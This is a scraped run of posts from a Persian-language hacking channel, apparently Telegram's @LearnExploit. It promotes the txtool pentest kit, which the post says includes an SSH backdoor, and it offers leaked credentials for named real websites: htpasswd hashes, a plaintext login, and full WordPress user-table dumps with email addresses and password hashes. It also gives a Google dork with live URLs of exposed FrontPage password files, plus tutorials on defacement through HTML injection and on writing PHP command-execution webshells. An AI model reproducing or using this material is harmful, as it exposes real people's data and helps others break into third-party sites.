و اینبار webapplocation pentesting در اندروید با ترموکس و ابزار txtool
@LearnExploit - 0Day.Today

و اینبار webapplocation pentesting در اندروید با ترموکس و ابزار txtool
#pentesting #Webapplications and #GoogleHackingDatabase (GHDB) iN #Android with #Termux
———————
#Install :
نحوه ی نصب :
# git clone https://github.com/kuburan/txtool.git
# cd txtool
# apt install python2
# ./install.py
# txtool
———————-
#ErrorFixing :
نحوه ی رفع اررور :
برای دسترسی به ssh backdoor این برنامه از لایبرری paramiko پایتون استفاده میکنه و برای اجرا نیاز به PyNacl داره که اگر شما در نصب به اررور برخوردین از دستورات زیر استفاده کنید :
# apt-get install --assume-yes libsodium libsodium-dev
# SODIUM_INSTALL=system pip2 install pynacl
———————-
@LearnExploit - 0Day.Today

#Target - #Users and #pass :
————————————--
Target :
http://lanmr.no-ip.biz
/>
User and pass :
ralf:$apr1$f4MNLSUO$WdJlHxqIdN1ormlDT61f81

uli:$apr1$65yQ.Zc6$3pZ764mfhZL2bg2Porn2A.

peter:$apr1$Nw0QEQ8q$GJAg3nUN09wbQfHIy9hGt1

r0339:$apr1$dgrRCn/Q$EmbDzfIYW9/6xtP.6Axpr.
===============================
t.me/LearnExploit - 0Day.Today

#Target - #Users and #pass :
—————-
Target :
http://www.cknuckles.com
<—>
user : fbaggins
passwd : hobbit
—————-
t.me/LearnExploit - 0Day.Today

#Priv8 #Dork #Microsoft #FrontPage
/=============================/
@-Dork :
ext:pwd inurl:(service|authors|administrators|users) “# -FrontPage-”
(——————————)
@-Decriptions :
Microsoft FrontPage
یک نرم افزار ویرایشگر HTML و طراحی وب WYSIWYG است (What You See Is What You Get ، هر چه که در طراحي مي‌بينيد، همان است که در خروجي مي‌گيريد) که بر روی سیستم عامل ویندوز نصب می شود. این نرم افزار جزئی از بسته نرم افزاری مایکروسافت آفیس در سالهای ۱۹۹۷ تا ۲۰۰۳ بود. بعد از این تاریخ جای خود را به Microsoft Expression Web و Sharepoint Designer داد که در سال ۲۰۰۶ اولین نسخه آن در کنار Microsoft Office 2007 منتشر شد.
(——————————)
@-Example :
http://tanbiki.co.za/_vti_pvt/service.pwd
http://users.highland.edu/~multimedia/_vti_pvt/service.pwd
/=============================/
T.me/LearnExploit
— > 0Day.Today Boy's

#Users #Pass of (64.90.62.230 & 208.97.182.10 & 66.33.205.230) Servers
————
@LearnExploit

#Users #Pass
————
به سه مورد توجه کنید.
————
@LearnExploit

دیتابیس سایت :
nearlynormals.com
#Target - #Database
==========
T.me/LearnExploit
0Day.Today Boy's

دیتابیس سایت :
nearlynormals.com
#Target - #Database
==========
T.me/LearnExploit
0Day.Today Boy's

#Table ( #WP_USERS )
TARGET : http://www.tecpar.br
~~~~~~~~~~~~~~~~~~~~~
Table :: wp_users ::

INSERT INTO wp_users VALUES (1, 'redsuns', '$P$B5gzRPWnESH0U27g0dx2aqir9y1Hme1', 'redsuns', 'contato@redsuns.com.br', '', '2014-06-09 20:02:50', '', 0, 'redsuns') ;
INSERT INTO wp_users VALUES (2, 'valteny', '$P$BFxx.haMMjfsMXzPepsnrRJNSnmNC70', 'valteny', 'valteny@gmail.com', '', '2014-08-13 18:10:45', '', 0, 'valteny') ;
INSERT INTO wp_users VALUES (3, 'admin', '$P$BC0Vcu19HXeXaoTVwY9NfZbo7YwEWk/', 'admin', '', '', '2014-11-18 17:49:38', '', 0, 'admin') ;
INSERT INTO wp_users VALUES (4, 'eduardo', '$P$BJcdTwweAUbkp01Rgxp1mTWr.Qa.bn1', 'eduardo', '', '', '2014-11-18 17:49:38', '', 0, 'eduardo') ;
INSERT INTO wp_users VALUES (5, 'akloster', '$P$BnsdAolKCuWQpIiMQubH8FBWuhnqss0', 'akloster', '', '', '2014-11-18 17:49:38', '', 0, 'akloster') ;
INSERT INTO wp_users VALUES (6, 'anderson', '$P$BmCs/9/PP1g1ROREeyaTrQSjqxQg9z1', 'anderson', '', '', '2014-11-18 17:49:38', '', 0, 'anderson') ;
INSERT INTO wp_users VALUES (7, 'felipedp', '$P$Btq7wytzkMqc8FtBZxvIns.YZ90wJF1', 'felipedp', '', '', '2014-11-18 17:49:38', '', 0, 'felipedp') ;
INSERT INTO wp_users VALUES (8, 'sayron', '$P$B7SqhCedBYK6vIuozsw/PkoBRvy9Zx0', 'sayron', 'ssouza@tecpar.br', '', '2014-11-18 17:49:38', '', 0, 'sayron') ;
INSERT INTO wp_users VALUES (9, 'joceli', '$P$BSDjYRoVYvrVc8JhIh0wjTcqWYySL6.', 'joceli', '', '', '2014-11-18 17:49:38', '', 0, 'joceli') ;
INSERT INTO wp_users VALUES (10, 'vjsantos', '$P$BcTq5lNJxVVNCXhG/UL.aLacibtZo8.', 'vjsantos', '', '', '2014-11-18 17:49:38', '', 0, 'vjsantos') ;
INSERT INTO wp_users VALUES (11, 'lidiarom', '$P$B2RwmcxxVynttd6kWo.j0TSR55PSVH0', 'lidiarom', '', '', '2014-11-18 17:49:38', '', 0, 'lidiarom') ;
INSERT INTO wp_users VALUES (12, 'Simone', '$P$BCpC.MQuKlCT.Z.BD34q/uEWVMZ1AP.', 'simone', '', '', '2014-11-18 17:49:38', '', 0, 'Simone') ;
INSERT INTO wp_users VALUES (13, 'rosi', '$P$BDBvlJd.vYH0Ty/FJ1AvGbkrXSrD0J.', 'rosi', '', '', '2014-11-18 17:49:38', '', 0, 'rosi') ;
INSERT INTO wp_users VALUES (14, 'magnani', '$P$BaUc454/TNcQYLqTLSYpj92KsZ3quK0', 'magnani', '', '', '2014-11-18 17:49:38', '', 0, 'magnani') ;
INSERT INTO wp_users VALUES (15, 'euzilene', '$P$Bxy/ALTHpZCJ8Tw6.V/KyVm7P2o/i./', 'euzilene', '', '', '2014-11-18 17:49:38', '', 0, 'euzilene') ;
INSERT INTO wp_users VALUES (16, 'silvane', '$P$B.v3pkDM6L3sL.mT6Rmdj64Q3QHKbY0', 'silvane', '', '', '2014-11-18 17:49:38', '', 0, 'silvane') ;
INSERT INTO wp_users VALUES (17, 'jdonanski', '$P$BM538R7Ji0UWXH/uwvXOXTS6J2D4a3/', 'jdonanski', '', '', '2014-11-18 17:49:38', '', 0, 'jdonanski') ;
INSERT INTO wp_users VALUES (18, 'dpontes', '$P$Bt8xboLPfOmyJlQdHVBnxyajCGK..P/', 'dpontes', '', '', '2014-11-18 17:49:38', '', 0, 'dpontes') ;
INSERT INTO wp_users VALUES (19, 'rico', '$P$BnjBqbFjQNjatAxAmRS1SdwQbOg67x0', 'rico', '', '', '2014-11-18 17:49:38', '', 0, 'rico') ;
INSERT INTO wp_users VALUES (20, 'joaops', '$P$BzqZb556wPsQhzcTBQOCeitW5l4kNx/', 'joaops', '', '', '2014-11-18 17:49:38', '', 0, 'joaops') ;
INSERT INTO wp_users VALUES (21, 'julianed', '$P$BMCplNCWk0JJPDcGvq76we8bQozVgX.', 'julianed', '', '', '2014-11-18 17:49:38', '', 0, 'julianed') ;
INSERT INTO wp_users VALUES (22, 'rafaelms', '$P$Blxti6CcAtks1/q7onXTJ.3ZkmyU7P.', 'rafaelms', '', '', '2014-11-18 17:49:38', '', 0, 'rafaelms') ;
INSERT INTO wp_users VALUES (23, 'vcarraro', '$P$BKX5HiC0Pr7RmKXF1s0cPK.3Uh99YT1', 'vcarraro', '', '', '2014-11-18 17:49:38', '', 0, 'vcarraro') ;
INSERT INTO wp_users VALUES (24, 'danielagp', '$P$BtaERjGw1UmkuL1JTCWuKRNlgg3Kr2/', 'danielagp', '', '', '2014-11-18 17:49:39', '', 0, 'danielagp') ;
INSERT INTO wp_users VALUES (25, 'joseph', '$P$BJwZI6Bfumt9SP9BjZuem4xINV5L2W.', 'joseph', '', '', '2014-11-18 17:49:39', '', 0, 'joseph') ;
INSERT INTO wp_users VALUES (26, 'suzanac', '$P$BohN6rm87x8GEFue9M1NL8vdtxaKG2.', 'suzanac', '', '', '2014-11-18 17:49:39', '', 0, 'suzanac') ;

در خط سوم میتونید user & pass ادمین سایت رو مشاهده کنید.
~~~~~~~~~~~~~~~~~~~~~~~~
Hash Type : MD5
~~~~~~~~~~~~~~~~~~~~~~~~
join us : @LearnExploit

-- Target : https://www.free.fr
-- Table : wp_users
-- HashType : MD5
======

INSERT INTO wp_users VALUES (1, 'admin', '$P$Bg//f8y0BywTI35SjF46JfMKHCIWPd.', 'admin', 'skavens@noos.fr', '', '2010-10-07 22:41:13', '', 0, 'admin');
INSERT INTO wp_users VALUES (42, 'foxdara', '$P$Ba7sakr.W020HWJGzvwXN9XcH2q56M0', 'foxdara', 'david_dupeyron@yahoo.fr', '', '2011-04-13 12:46:47', '', 0, 'foxdara');
INSERT INTO wp_users VALUES (43, 'foxjim', '$P$B0c1ZjcqNROE1H6uqrFMMuVs2iEHxh0', 'foxjim', 'fox_jim@hotmail.com', '', '2011-04-13 18:54:36', '', 0, 'foxjim');
======
t.me/learnexploit

#Database
Target : http://www.seanrocha.com
اینم دیگه به عهده ی خودتون
خودتون تفکیک کنید 😄
DB.sql

#python #Armia_Evil
قسمت چهارم اموزش پایتون

@LearnExploit

#python #Armia_Evil
قسمت چهارم اموزش پایتون

@LearnExploit

#Exploiting - #HTMLInjection(GET) - #Bug
اموزش باگ HTMLInjection و اکسپلویت کردن ان توسط JAVASCRIPT
dl link : yon.ir/nuTUy
T.me/LearnExploit

‍ #Exploiting - #HTMLInjection(Post) - #Bug
———-
در این اموزش یاد میگیرید که چطور با استفاده از باگ HTML Injection - Reflected (POST) صفحه ی دیفیس خودتون رو در سایت ظاهر کنید.
Part 1 : t.me/LearnExploit/317
dl link : yon.ir/aBK4n
———-
T.me/LearnExploit

#python #Armia_Evil
قسمت پنجم اموزش پایتون

@LearnExploit

#python #Armia_Evil
قسمت پنجم اموزش پایتون

@LearnExploit

اموزش نوشتن `Command Execute WebShell`ساده با php
#Command #Execute #WebShell
—-
@LearnExploit

اموزش نوشتن `Command Execute WebShell`ساده با php
#Command #Execute #WebShell
—-
@LearnExploit